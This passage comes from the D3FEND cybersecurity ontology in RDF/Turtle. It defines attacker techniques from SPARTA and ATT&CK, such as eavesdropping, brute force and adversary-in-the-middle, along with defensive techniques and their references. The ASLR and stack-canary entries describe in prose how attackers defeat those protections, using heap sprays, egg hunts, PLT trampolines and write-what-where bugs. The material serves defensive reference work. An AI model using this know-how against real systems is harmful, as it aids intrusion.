    d3f:definition """Threat actors may obtain non-cyber capabilities, primarily physical counterspace weapons or systems. These counterspace capabilities vary significantly in the types of effects they create, the level of technological sophistication required, and the level of resources needed to develop and deploy them. These diverse capabilities also differ in how they are employed and how easy they are to detect and attribute and the permanence of the effects they have on their target.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0005/> ;
    rdfs:subClassOf d3f:SPARTAResourceDevelopmentTechnique ;
    skos:prefLabel "Obtain Non-Cyber Capabilities" .

d3f:REC-0003 a owl:Class ;
    rdfs:label "Gather Spacecraft Communications Information - SPARTA" ;
    d3f:attack-id "REC-0003" ;
    d3f:definition "Threat actors may obtain information on the victim spacecraft's communication channels in order to determine specific commands, protocols, and types. Information gathered can include commanding patterns, antenna shape and location, beacon frequency and polarization, and various transponder information." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0003/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Spacecraft Communications Information" .

d3f:REC-0005 a owl:Class ;
    rdfs:label "Eavesdropping - SPARTA" ;
    d3f:attack-id "REC-0005" ;
    d3f:definition "Threat actors may seek to capture network communications throughout the ground station and radio frequency (RF) communication used for uplink and downlink communications. RF communication frequencies vary between 30MHz and 60 GHz. Threat actors may capture RF communications using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator turned to the communication frequency. Network communications may be captured using packet capture software while the threat actor is on the target network." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0005/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Eavesdropping" .

d3f:REC-0008 a owl:Class ;
    rdfs:label "Gather Supply Chain Information - SPARTA" ;
    d3f:attack-id "REC-0008" ;
    d3f:definition "Threat actors may gather information about a mission's supply chain or product delivery mechanisms that can be used for future campaigns or to help perpetuate other techniques." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0008/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Supply Chain Information" .

d3f:RankCorrelationCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Rank Correlation" ;
    d3f:d3fend-id "D3A-RC" ;
    d3f:definition "A rank correlation is any of several statistics that measure an ordinal association-the relationship between rankings of different ordinal variables or different rankings of the same variable, where a \"ranking\" is the assignment of the ordering labels \"first\", \"second\", \"third\", etc. to different observations of a particular variable." ;
    d3f:kb-article "Wikipedia. (n.d.). Rank correlation. [Link](https://en.wikipedia.org/wiki/Rank_correlation)" ;
    rdfs:subClassOf d3f:Correlation .

d3f:ReadFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Read File" ;
    d3f:definition "A program that needs to access data from a file stored in a file system uses the read system call. The file is identified by a file descriptor that is normally obtained from a previous call to open. This system call reads in data in bytes, the number of which is specified by the caller, from the file and stores then into a buffer supplied by the calling process." ;
    d3f:reads d3f:File ;
    rdfs:seeAlso <http://dbpedia.org/resource/Read_(system_call)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:File ],
        d3f:SystemCall .

d3f:Reference-CarvingContiguousandFragmentedFilesWithFastObjectValidation a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Carving Contiguous and Fragmented Files with Fast Object Validation" ;
    d3f:has-link "https://www.sciencedirect.com/science/article/pii/S1742287607000369?viewFullText=true#sec4"^^xsd:anyURI ;
    d3f:kb-abstract "“File carving” reconstructs files based on their content, rather than using metadata that points to the content. Carving is widely used for forensics and data recovery, but no file carvers can automatically reassemble fragmented files. We survey files from more than 300 hard drives acquired on the secondary market and show that the ability to reassemble fragmented files is an important requirement for forensic work. Next we analyze the file carving problem, arguing that rapid, accurate carving is best performed by a multi-tier decision problem that seeks to quickly validate or discard candidate byte strings – “objects” – from the media to be carved. Validators for the JPEG, Microsoft OLE (MSOLE) and ZIP file formats are discussed. Finally, we show how high speed validators can be used to reassemble fragmented files." ;
    d3f:kb-author "Simson L. Garfinkel" ;
    d3f:kb-reference-of d3f:FileContentDecompressionChecking,
        d3f:FileInternalStructureVerification,
        d3f:FileMagicByteVerification,
        d3f:FileMetadataValueVerification ;
    d3f:kb-reference-title "Carving Contiguous and Fragmented Files with Fast Object Validation" .

d3f:Reference-Finding_phishing_sites a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Finding phishing sites" ;
    d3f:has-link "https://patents.google.com/patent/US8839418B2/"^^xsd:anyURI ;
    d3f:kb-author "Geoffrey John Hulten, Paul Stephen Rehfuss, Robert Rounthwaite, Joshua Theodore Goodman, Gopalakrishnan Seshadrinathan, Anthony P. Penta, Manav Mishra, Roderic C. Deyo, Elliott Jeb Haber, David Aaron Ward Snelling" ;
    d3f:kb-reference-of d3f:DomainNameReputationAnalysis,
        d3f:IPReputationAnalysis,
        d3f:URLReputationAnalysis ;
    d3f:kb-reference-title "Finding phishing sites" .

d3f:Reference-GatheringEvidenceModel-DrivenSoftwareEngineeringinAutomatedDigitalForensics a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Gathering Evidence: Model-Driven Software Engineering in Automated Digital Forensics" ;
    d3f:has-link "https://pure.uva.nl/ws/files/1739225/132135_thesis.pdf"^^xsd:anyURI ;
    d3f:kb-author "van den Bos, J." ;
    d3f:kb-reference-of d3f:FileContentDecompressionChecking,
        d3f:FileInternalStructureVerification,
        d3f:FileMagicByteVerification,
        d3f:FileMetadataConsistencyValidation ;
    d3f:kb-reference-title "Gathering Evidence: Model-Driven Software Engineering in Automated Digital Forensics" .

d3f:Reference-GuideToOTSecurity a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - NIST SP 800-82R3 Guide to Operational Technology (OT) Security, Section 6.2.1.4.5 Password Authentication" ;
    d3f:has-link "https://csrc.nist.gov/pubs/sp/800/82/r3/final"^^xsd:anyURI ;
    d3f:kb-abstract "This document provides guidance on how to secure operational technology (OT) while addressing their unique performance, reliability, and safety requirements. OT encompasses a broad range of programmable systems and devices that interact with the physical environment (or manage devices that interact with the physical environment). These systems and devices detect or cause a direct change through the monitoring and/or control of devices, processes, and events. Examples include industrial control systems, building automation systems, transportation systems, physical access control systems, physical environment monitoring systems, and physical environment measurement systems. The document provides an overview of OT and typical system topologies, identifies common threats and vulnerabilities to these systems, and provides recommended security countermeasures to mitigate the associated risks." ;
    d3f:kb-author "NIST" ;
    d3f:kb-reference-of d3f:ChangeDefaultPassword,
        d3f:PhysicalEnclosureHardening,
        d3f:PhysicalLocking,
        d3f:UserGroupPermissions ;
    d3f:kb-reference-title "Guide to Operational Technology (OT) Security" .

d3f:Reference-HostIntrusionPreventionSystemUsingSoftwareAndUserBehaviorAnalysis_SophosLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Host intrusion prevention system using software and user behavior analysis - Sophos Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20110023115A1"^^xsd:anyURI ;
    d3f:kb-abstract "In embodiments of the present invention improved capabilities are described for threat detection using a behavioral-based host-intrusion prevention method and system for monitoring a user interaction with a computer, software application, operating system, graphic user interface, or some other component or client of a computer network, and performing an action to protect the computer network based at least in part on the user interaction and a computer code process executing during or in association with a computer usage session." ;
    d3f:kb-author "Clifford C. Wright" ;
    d3f:kb-mitre-analysis """The patent describes a technique for performing behavior based threat detection. User and code behavior data is collected and stored to create baseline user and code behavior profiles. User behavior data collected over a user session or over multiple sessions can include a user:

* clicking on a link
* scrolling down a page
* opening or closing a window
* downloading a file
* saving a file
* running a file
* typing a keyword

Code behavior monitored includes code:

* copying itself to a system folder
* setting a run key to itself in the registry
* setting a second runkey to itself in the registry in
a different location
* disabling OS tools in the registry
* opening a hidden file

The user interaction and the code process executed during the user session are monitored and compared with predetermined malicious behavior profiles that are typically present in a malicious user session.  The predetermined collection of malicious behaviors are created based on analysis of families of malware in run time in a threat research facility. If a match is made an action is taken that can include isolating the computer on which the user interaction occurs and limiting network access to or from the computer.""" ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-of d3f:ResourceAccessPatternAnalysis,
        d3f:SystemDaemonMonitoring,
        d3f:WebSessionActivityAnalysis ;
    d3f:kb-reference-title "Host intrusion prevention system using software and user behavior analysis" .

d3f:RemoteSession a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Session" ;
    d3f:definition "A remote login session is a login session where a client has logged in from their local host machine to a server via a network." ;
    rdfs:subClassOf d3f:NetworkSession .

d3f:ResourceAccess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Access" ;
    d3f:definition "Ephemeral digital artifact comprising a request of a resource and any response from that resource." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Computer_access_control> ;
    rdfs:subClassOf d3f:UserAction .

d3f:ResourceFork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Fork" ;
    d3f:definition "The resource fork is a fork or section of a file on Apple's classic Mac OS operating system, which was also carried over to the modern macOS for compatibility, used to store structured data along with the unstructured data stored within the data fork." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Resource_fork> ;
    rdfs:subClassOf d3f:FileSection .

d3f:RestoreAccess a d3f:RestoreAccess,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore Access" ;
    d3f:d3fend-id "D3-RA" ;
    d3f:definition "Restoring an entity's access to resources." ;
    d3f:enables d3f:Restore ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Restore ],
        d3f:DefensiveTechnique .

d3f:RuntimeVariable a owl:Class ;
    rdfs:label "Runtime Variable" ;
    d3f:definition "A runtime variable is an abstract storage location paired with an associated symbolic name, which contains some known or unknown quantity of data or object referred to as a value, which can change during the execution of a computer program." ;
    rdfs:seeAlso <https://dbpedia.org/page/Variable_(computer_science)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:ScheduledJobAnalysis a d3f:ScheduledJobAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Scheduled Job Analysis" ;
    d3f:analyzes d3f:JobSchedule ;
    d3f:d3fend-id "D3-SJA" ;
    d3f:definition "Analysis of source files, processes, destination files, or destination servers associated with a scheduled job to detect unauthorized use of job scheduling." ;
    d3f:kb-article """## How it works
Scheduled job execution can be utilized by adversaries for the purpose of persistence, conducting remote execution, or gaining privileges. Details of a scheduled job such as associated source files, processes, destination files, or destination servers are first identified and analyzed and then compared against an anti-malware signature database, whitelist, or reputation server. For example, a file associated with a scheduled job to be executed at a specified time or a remote server that is accessed as part of a scheduled task is compared against an anti-malware signature database, whitelist, or reputation server, and if a match is found, execution is denied and an alert is generated.

In addition to traditional scheduled jobs, triggers can be set to execute a specific command after detecting a specific event in the system, such as with WMI Event Subscriptions in Windows.

## Considerations
Jobs can be scheduled in many different and sometimes creative ways through operating system capabilities.""" ;
    d3f:kb-reference d3f:Reference-ExecutionWithAT_MITRE,
        d3f:Reference-ExecutionWithSchtasks_MITRE,
        d3f:Reference-PreventingExecutionOfTaskScheduledMalware_McAfeeLLC ;
    d3f:synonym "Scheduled Job Execution" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:JobSchedule ],
        d3f:OperatingSystemMonitoring .

d3f:ScheduledJobCreationEvent a owl:Class ;
    rdfs:label "Scheduled Job Creation Event" ;
    d3f:definition "An event representing the addition of a new task to the system's scheduler, defining its execution criteria and associated actions." ;
    rdfs:subClassOf d3f:ScheduledJobEvent .

d3f:ScriptExecutionAnalysis a d3f:ScriptExecutionAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Script Execution Analysis" ;
    d3f:analyzes d3f:ScriptApplicationProcess ;
    d3f:d3fend-id "D3-SEA" ;
    d3f:definition "Analyzing the execution of a script to detect unauthorized user activity." ;
    d3f:kb-article """## How it works
Software installed on the host system hooks into a scripting engine to intercept commands before they are executed and block commands if they are determined to be harmful. Pattern matching is used to identify unauthorized commands or in the case of script files, a hash of the file is compared against hashes of known unauthorized script files.

## Considerations
List of known unauthorized script files or regular expression patterns must be kept up to date to ensure detection of new threats.""" ;
    d3f:kb-reference d3f:Reference-DetectingScript-basedMalware_CrowdstrikeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ScriptApplicationProcess ],
        d3f:ProcessAnalysis .

d3f:SegmentAddressOffsetRandomization a d3f:SegmentAddressOffsetRandomization,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Segment Address Offset Randomization" ;
    d3f:d3fend-id "D3-SAOR" ;
    d3f:definition "Randomizing the base (start) address of one or more segments of memory during the initialization of a process." ;
    d3f:kb-article """## How it works

Many application exploits rely on an attacker specifying a location in memory, which points to data or code used by the attacker.  If the addresses are changed each time the program is run, then it becomes more difficult for the attacker to determine the location that will contain the code they wish to run.

Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing."  Just as not all code is built for participation in ASLR, not all modules can be rebased; instead, modules must indicate whether they implement support for rebasing.  Such information to relocate the executable is typically stored in the ".reloc" segment -- each of the addresses pointed to in this segment has its address increased by the amount of the offset.
(An alternative method for relocation would be to add an amount to a global variable each time -- leading to less overhead in the module load, but more for each access.  Still another implementation could instead contain code to deference each changeable memory location on the fly, so that each of the references do not need to be updated.


## Considerations

As the offset for each segment is constant, it is possible to guess at the value of the address given the address of another variable.  Alternatively, memory pointers may be kept around, which contain the address of another variable.
Another bypass technique is known as an "egg hunt," whereby the attacker searches for a rather unique piece of the data or code in memory to determine its likely address.

The program needs to store these addresses for the functions somewhere.  In Linux, the PLT contains a "trampoline" to these addresses.  If an attacker desires to jump to the start of an existing function, they can jump directly to the trampoline anyway, and may have the opportunity to provide their own stack frame to the function with a write to the stack. If they overwrite a saved stack pointer which is loaded back into memory, or execute a function, that changes the address of a stack pointer.

If an attacker wants to inject some data into the program, for example as a parameter to a known function that is not under ASLR or a pointer to a trampoline function in the PLT, then they can repeat the data until they exceed the range of ASLR coverage, which on 32-bit systems is accomplishable in a few seconds with a heap spray.  Microsoft's EMET and Windows 10 Exploit Guard can pre-allocate particular addresses that are commonly used in heap sprays.  However, in many products, there does not seem to be nearly a complete coverage of such addresses, which only need to be executable and in the range of the heap; 0x0c0c0c0c is such an address that is commonly used for the x86 processor architecture, as when executed it only performs a numeric operation to a register four times.""" ;
    d3f:kb-reference d3f:Reference-DYNAMICBASE_UseAddressSpaceLayoutRandomization_MicrosoftDocs,
        d3f:Reference-HowASLRProtectsLinuxSystemsFromBufferOverflowAttacks_NetworkWorld ;
    d3f:obfuscates d3f:ProcessSegment ;
    d3f:synonym "ASLR",
        "Address Space Layout Randomization" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:obfuscates ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:ApplicationHardening .

d3f:ServiceDependencyMapping a d3f:ServiceDependencyMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Dependency Mapping" ;
    d3f:d3fend-id "D3-SVCDM" ;
    d3f:definition "Service dependency mapping determines the services on which each given service relies." ;
    d3f:kb-article """## How it works
The organization collects and models architectural information about the services and consumers of services and maps the dependencies between the services.

## Considerations
* Architectural design artifacts and SMEs may need to be consulted to determine if dependencies are intended or otherwise essential.
* Service dependencies for critical systems--those supporting critical organizational activities--should be prioritized for supply chain risk analysis.
* Service dependencies in cloud or microservice architectures may be discovered using distributed tracing capabilities""" ;
    d3f:kb-reference d3f:Reference-CatiaUAFPlugin,
        d3f:Reference-TivoliApplicationDependencyDiscoverManager7_3_0DependenciesBetweenResources,
        d3f:Reference-UnifiedArchitectureFrameworkUAF ;
    d3f:maps d3f:ServiceDependency ;
    d3f:synonym "Distributed Tracing" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:ServiceDependency ],
        d3f:SystemMapping .

d3f:ServiceInstallationEvent a owl:Class ;
    rdfs:label "Service Installation Event" ;
    d3f:definition "An event representing the installation or registration of a service application within the system, enabling it to provide background or reusable functionality." ;
    rdfs:subClassOf d3f:ApplicationInstallationEvent,
        d3f:ServiceEvent .

d3f:SharedComputer a owl:Class ;
    rdfs:label "Shared Computer" ;
    d3f:definition "A computer whose resources are intended to be shared widely." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Time-sharing> ;
    rdfs:subClassOf d3f:ClientComputer .

d3f:ShellCommand a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shell Command" ;
    d3f:definition "A shell command is a directive to some kind of command-line interface, such as a shell." ;
    d3f:may-create d3f:Process ;
    d3f:may-execute d3f:ExecutableFile ;
    d3f:recorded-in d3f:CommandHistoryLog ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Command_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:recorded-in ;
            owl:someValuesFrom d3f:CommandHistoryLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-execute ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:Process ],
        d3f:Command .

d3f:Shim a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shim" ;
    d3f:definition "In computer programming, a shim is a small library that transparently intercepts API calls and changes the arguments passed, handles the operation itself, or redirects the operation elsewhere. Shims can be used to support an old API in a newer environment, or a new API in an older environment. Shims can also be used for running programs on different software platforms than those for which they were developed." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Shim_(computing)> ;
    rdfs:subClassOf d3f:Software .

d3f:SoftwareInventory a d3f:SoftwareInventory,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Inventory" ;
    d3f:d3fend-id "D3-SWI" ;
    d3f:definition "Software inventorying identifies and records the software items in the organization's architecture." ;
    d3f:inventories d3f:Software ;
    d3f:kb-article """## How it works
Administrators collect information on software items in their architecture using a variety of administrative and management tools that query network nodes for information.  In limited cases, where such queries are not supported or provide specific information of interest, an administrator may also collect this information through network enumeration methods to determine services responding on network nodes.

## Considerations
* Scanning and probing techniques using mapping tools can result in side effects to information technology (IT) and operational technology (OT) systems.
* An adversary conducting network enumeration may engage in activities that parallel normal software inventorying activities, but would require escalating to admin privileges for most of the operations requiting administrative tools.

## Examples

Application-layer discovery:

* Simple Network Management Protocol (SNMP) collects MIB information
* Web-based Enterprise Management (WBEM) collects CIM information
   * Windows Management Instrumentation (WMI)
   * Windows Management Infrastructure (MI)""" ;
    d3f:kb-reference d3f:Reference-Web-BasedEnterpriseManagement,
        d3f:Reference-Windows-Management-Infrastructure,
        d3f:Reference-Windows-Management-Instrumentation ;
    d3f:synonym "Software Discovery",
        "Software Inventorying" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:inventories ;
            owl:someValuesFrom d3f:Software ],
        d3f:AssetInventory .

d3f:StackFrameCanaryValidation a d3f:StackFrameCanaryValidation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stack Frame Canary Validation" ;
    d3f:d3fend-id "D3-SFCV" ;
    d3f:definition "Comparing a value stored in a stack frame with a known good value in order to prevent or detect a memory segment overwrite." ;
    d3f:kb-article """## How it works

This defense must be applied at compile-time, or via a patch to the program binary.  Stack Frame Canary Verification inserts instructions at the prologue and epilogue of desired functions.  In the prologue, a canary value, typically with the same size as the register size, is stored in the system of record and on the stack.  Typically, the canary is loaded to where it has a memory address just below that of the saved instruction pointer and base pointer.  In the epilogue, the canary value stored on the stack and, is compared to the canary value in the system of record.  If the values are different, other techniques such as those in Process Eviction might be invoked, such as Process Termination to end the current process, or Executable Blacklisting to blacklist the potentially vulnerable or malfunctioning executable.

Stack Frame Canary Verification is commonly used to detect potential tampering of a saved register value on the stack before it has been restored.  Examples of registers with values commonly saved to the stack include the instruction pointer and the base pointer.

The canary should be stored between where the start of a buffer overrun is likely, and the data to protect, in cases where the buffer size increases it will overwrite the data to be protected.

On most processor architectures, including x86, x64, and ARM, a "push" operation to store data to the stack grows the stack towards a lower memory address.  As in these architectures, saved register values are stored to the stack at a point in time just before space is made for the local function variables, the saved register values have a higher address than that of the local function variables.  Values at increasing indexes of a buffer are written to increasing memory addresses; therefore, an overwrite in the local variable buffer could overwrite saved register values, and a stack canary between these two would be useful in detecting an overwrite.

On some other processor architectures such as the B5000, the stack grows towards increasing memory addresses, and some architectures, such as System Z and RCA1802A, stack direction can be chosen.  If the stack grows towards increasing memory addresses, while this architecture inherently provides more protection against a saved register being overwritten, other data including local function variables might be overwritten.


## Considerations

There are several ways that the protection provided by a canary could be rendered ineffective.

### Performing a malicious action before the canary is checked

If the attacker alters the memory in such a way that it performs a malicious action before the epilogue is called, then this protection will not be effective.  This includes altering the logic of the program by altering the values of local variables stored on the function stack, or by causing an exception and exploiting the exception mechanism such as the SEH (Structured Exception Handling) mechanism on Windows.

### Determining the canary value

Determining the canary value is possible through reading memory either for the code used to check the canary, or from the stored canary value itself in a stack frame.

### Changing the canary value

A vulnerability such as a write-what-where condition that allows one to write data after the canary in the stack, would allow control of the value of the saved instruction pointer without needing to know the canary value.""" ;
    d3f:kb-reference d3f:Reference-GS_BufferSecurityCheck_MicrosoftDocs,
        d3f:Reference-StackSmashingProtection_StackGuard_RedHat ;
    d3f:validates d3f:StackFrame ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:validates ;
            owl:someValuesFrom d3f:StackFrame ],
        d3f:ApplicationHardening .

d3f:StoredProcedure a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stored Procedure" ;
    d3f:definition "A stored procedure (also termed proc, storp, sproc, StoPro, StoredProc, StoreProc, sp, or SP) is a subroutine available to applications that access a relational database management system (RDBMS). Such procedures are stored in the database data dictionary." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Stored_procedure> ;
    rdfs:subClassOf d3f:Subroutine .

d3f:Summarizing a owl:Class ;
    rdfs:label "Summarizing" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:SystemFirewallConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Firewall Configuration" ;
    d3f:configures d3f:Host-basedFirewall ;
    d3f:definition "The configuration for a individual host operating system's firewall." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Firewall_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:configures ;
            owl:someValuesFrom d3f:Host-basedFirewall ],
        d3f:OperatingSystemConfigurationComponent .

d3f:SystemPasswordDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Password Database" ;
    d3f:definition "A password database used by a system service or process to authenticate users (e.g., Security Account Manager)" ;
    rdfs:subClassOf d3f:PasswordDatabase .

d3f:T1056 a owl:Class ;
    rdfs:label "Input Capture" ;
    d3f:attack-id "T1056" ;
    d3f:definition "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003))." ;
    rdfs:subClassOf d3f:CollectionTechnique,
        d3f:CredentialAccessTechnique .

d3f:T1078 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Valid Accounts" ;
    d3f:attack-id "T1078" ;
    d3f:definition "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence." ;
    d3f:produces d3f:Authentication,
        d3f:Authorization ;
    d3f:uses d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authorization ],
        d3f:DefenseEvasionTechnique,
        d3f:InitialAccessTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique .

d3f:T1087 a owl:Class ;
    rdfs:label "Account Discovery" ;
    d3f:attack-id "T1087" ;
    d3f:definition "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078))." ;
    rdfs:seeAlso d3f:T1136 ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1090 a owl:Class ;
    rdfs:label "Proxy" ;
    d3f:attack-id "T1090" ;
    d3f:definition "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic." ;
    rdfs:subClassOf d3f:CommandAndControlTechnique .

d3f:T1110 a owl:Class ;
    rdfs:label "Brute Force" ;
    d3f:attack-id "T1110" ;
    d3f:definition "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes." ;
    rdfs:subClassOf d3f:CredentialAccessTechnique .

d3f:T1136 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Create Account" ;
    d3f:attack-id "T1136" ;
    d3f:creates d3f:UserAccount ;
    d3f:definition "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:PersistenceTechnique .

d3f:T1204 a owl:Class ;
    rdfs:label "User Execution" ;
    d3f:attack-id "T1204" ;
    d3f:definition "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566)." ;
    rdfs:subClassOf d3f:ExecutionTechnique .

d3f:T1496 a owl:Class ;
    rdfs:label "Resource Hijacking" ;
    d3f:attack-id "T1496" ;
    d3f:definition "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability." ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1499 a owl:Class ;
    rdfs:label "Endpoint Denial of Service" ;
    d3f:attack-id "T1499" ;
    d3f:definition "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1550 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Use Alternate Authentication Material" ;
    d3f:accesses d3f:AuthenticationService ;
    d3f:attack-id "T1550" ;
    d3f:definition "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:AuthenticationService ],
        d3f:DefenseEvasionTechnique,
        d3f:LateralMovementTechnique .

d3f:T1557 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Adversary-in-the-Middle" ;
    d3f:attack-id "T1557" ;
    d3f:definition "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)" ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
